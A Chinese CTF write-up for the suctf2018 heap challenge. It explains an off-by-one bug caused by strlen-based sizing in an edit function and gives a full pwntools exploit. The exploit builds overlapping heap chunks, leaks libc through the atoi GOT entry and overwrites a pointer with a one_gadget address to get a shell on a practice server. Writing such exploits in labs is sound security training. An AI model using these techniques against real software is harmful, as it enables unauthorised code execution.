suctf2018_heap(off-by-one)
检查防护

防护很松
IDA静态分析

漏洞也就是off-by-one在edit处我们可编辑的size是用strlen函数去判定的,假设我们堆风水布局如此:

我们请求的size是0x88,启用了下一个chunk的presize位,并且打满空间的话,那么strlen函数记录到0x91,也就多了一个字节可以被我们控制,如果这个size是0x100,那么我们可以劫持2字节,不过这里一字节已经够我们去构造堆重叠,布置堆风水了。
难度不大直接放exp了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import*
context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.buuoj.cn',28722) elf = ELF('./offbyone') libc = ELF('./libc-2.27_64.so')
def add(size,content): io.recvuntil(b'4:edit') io.sendline(str(1)) io.recvuntil(b'input len') io.sendline(str(size)) io.recvuntil(b'input your data') io.send(content)
def free(index): io.recvuntil(b'4:edit') io.sendline(str(2)) io.recvuntil(b'input id') io.sendline(str(index))
def show(index): io.recvuntil(b'4:edit') io.sendline(str(3)) io.recvuntil(b'input id') io.sendline(str(index))
def edit(index,content): io.recvuntil(b'4:edit') io.sendline(str(4)) io.recvuntil(b'input id') io.sendline(str(index)) io.recvuntil(b'input your data') io.send(content)
add(0x88,'a'*0x88) add(0x88,'b'*0x88) add(0x88,'c'*0x88) edit(0,b'a'*(0x88)+p8(0xc1))
edit(2,b'a'*(0x20)+p64(0)+p64(0x61)) free(2) free(1) add(0xb0,b'a'*0x88+p64(0x91)+p64(0x6020C0))
add(0x88,'a'*0x10)
edit(2,p64(elf.got['atoi'])) show(0) atoi = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = atoi - libc.sym['atoi'] log.success('libc_base => '+hex(libc_base))
one = [0x4f2c5,0x4f322,0x10a38c] edit(0,p64(one[1]+libc_base))
io.interactive()
|
